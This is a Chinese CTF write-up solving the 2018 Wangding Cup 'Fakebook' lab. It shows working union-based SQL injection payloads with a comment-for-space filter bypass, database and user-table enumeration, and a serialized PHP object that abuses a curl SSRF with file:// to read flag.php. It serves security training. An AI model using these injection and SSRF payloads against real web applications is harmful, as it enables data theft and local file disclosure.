长亭百川云 - 文章详情

[网鼎杯2018]fakebook靶场思路,MariaDB注入,通关教程

游不动的小鱼丶

43

2024-08-14

小羽(鱼)网安,专注于网络空间钓鱼安全


前言

加入网络安全学习群,在后台菜单栏,和大佬们一起交流学习

靶场链接:https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202018]Fakebook

教程

首页

sql万能密码

登录失败

注册一个账号试试

当前页面好像也没有什么注入点

目录扫描

访问

得到user.php源码

1<?php
2
3
4class UserInfo
5{
6    public $name "";
7    public $age = 0;
8    public $blog "";
9
10    public function __construct($name$age$blog)
11    {
12        $this->name = $name;
13        $this->age = (int)$age;
14        $this->blog = $blog;
15    }
16
17    function get($url)
18    {
19        $ch = curl_init();
20
21        curl_setopt($ch, CURLOPT_URL, $url);
22        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
23        $output = curl_exec($ch);
24        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
25        if($httpCode == 404) {
26            return 404;
27        }
28        curl_close($ch);
29
30        return $output;
31    }
32
33    public function getBlogContents ()
34    {
35        return $this->get($this->blog);
36    }
37
38    public function isValidBlog ()
39    {
40        $blog $this->blog;
41        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i"$blog);
42    }
43
44}

这句代码,很明显,存在 ssrf漏洞 ,看看待会能不能用上

1function get($url)
2    {
3        $ch = curl_init();
4
5        curl_setopt($ch, CURLOPT_URL, $url);
6        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
7        $output = curl_exec($ch);
8        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
9        if($httpCode == 404) {
10            return 404;
11        }
12        curl_close($ch);
13
14        return $output;
15    }

❝> SSRF参考: 一文带你了解ssrf

添加一条数据后

看到一个no参数

尝试注入,sql语句错误,存在sql注入漏洞

sqlmap失败

手工添加引号和注释符号#,还是报sql语句错误,没有回显,那么我们去掉单引号试试

1?no=1' and 1=2 #

❝>  Sql手工注入文章参考: 从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

正常回显

1?no=1 and 1=2 #

查询没有6列

1?no=1 order by 6 #

order by 4正常回显,存在四列

1?no=1 order by 4 #

没有回显,大概率是过滤掉了,但不知道是过滤哪个关键词

1?no=1 union select 1,2,3,4 #

双写,看样子不是用了替换函数

1?no=1 ununionion select 1,2,3,4 #

使用/**/这个代替空格

1?no=1/**/union/**/select/**/1,2,3,4 #

no改成-1

当前数据库

1?no=-1/**/union/**/select 1,group_concat(database()),3,4 from information_schema.schemata #

fakebook,information_schema,mysql,performance_schema,test

爆表,得到表名users

1?no=-1/**/union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook' #

爆列,得到列名

1?no=-1/**/union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' #

查找用户表中所有符合条件的数据,却发现有一个序列化的结果

1?no=-1/**/union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from users #

但是,没有正常回显啊

我们这样试试,把4替换为这个序列化的结果

一切正常

且源码中能显示正常结果的,是 data伪协议 标准格式,使用base64加密算法

1data:text/html;base64,PCFET0NUWVBFIGh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiPjxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSxjaHJvbWU9MSI+PG1ldGEgY29udGVudD0iYWx3YXlzIiBuYW1lPSJyZWZlcnJlciI+PG1ldGEgbmFtZT0iZGVzY3JpcHRpb24iIGNvbnRlbnQ9IuWFqOeQg+mihuWFiOeahOS4reaWh+aQnOe0ouW8leaTjuOAgeiHtOWKm+S6juiuqee9keawkeabtOS+v+aNt+WcsOiOt+WPluS/oeaBr++8jOaJvuWIsOa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NsYXNzPSJsaCI+PHNwYW4gY2xhc3M9InRleHQtY29sb3IiPuS6kuiBlOe9keiNr+WTgeS/oeaBr+acjeWKoei1hOagvOivgeS5piAo5LqsKS3nu4/okKXmgKctMjAxNy0wMDIwPC9zcGFuPjwvcD48cCBjbGFzcz0ibGgiPjxhIGNsYXNzPSJ0ZXh0LWNvbG9yIiBocmVmPSIvL3d3dy5iYWlkdS5jb20vbGljZW5jZS8iIHRhcmdldD0iX2JsYW5rIj7kv6Hmga/nvZHnu5zkvKDmkq3op4blkKzoioLnm67orrjlj6/or4EgMDExMDUxNjwvYT48L3A+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPnZhciBkYXRlPW5ldyBEYXRlLHllYXI9ZGF0ZS5nZXRGdWxsWWVhcigpO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ5ZWFyIikuaW5uZXJUZXh0PSLCqSIreWVhcisiIEJhaWR1ICI8L3NjcmlwdD48L2JvZHk+PC9odG1sPg==

解密之后,这不就是我新加的那条数据blog的网址嘛,确实存在 ssrf漏洞

构造序列化对象,我们使用 file 协议,读取本地文件( /var/www/html/flag.php 这个路径之前每个报错界面基本都有,猜测flag在这个站点根目录下)

❝> file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件,且不受PHP的allow_url_fopen与allow_url_include配置影响

例如读取D盘目录下的指定文件:http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

1class UserInfo
2{
3    public $name = "";
4    public $age = 0;
5    public $blog = "";
6}
7$res = new UserInfo();
8echo serialize($res)// O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

构造payload

1?no=-1/**/union/**/select 1,group_concat(no,'-',username,'-',passwd,'-',data),3,'O:8:"UserInfo":3:{s:4:"name";s:5:"mochu";s:3:"age";i:7;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users #

查看源码

解密得到flag

❝> 往期文章推荐

从零开始学SQL注入(sql十大注入类型):技术解析与实战演练

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

网络安全一场梦,护网三天就结束,多少有点走过场。

Love-Yi情侣网站存在sql注入漏洞

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2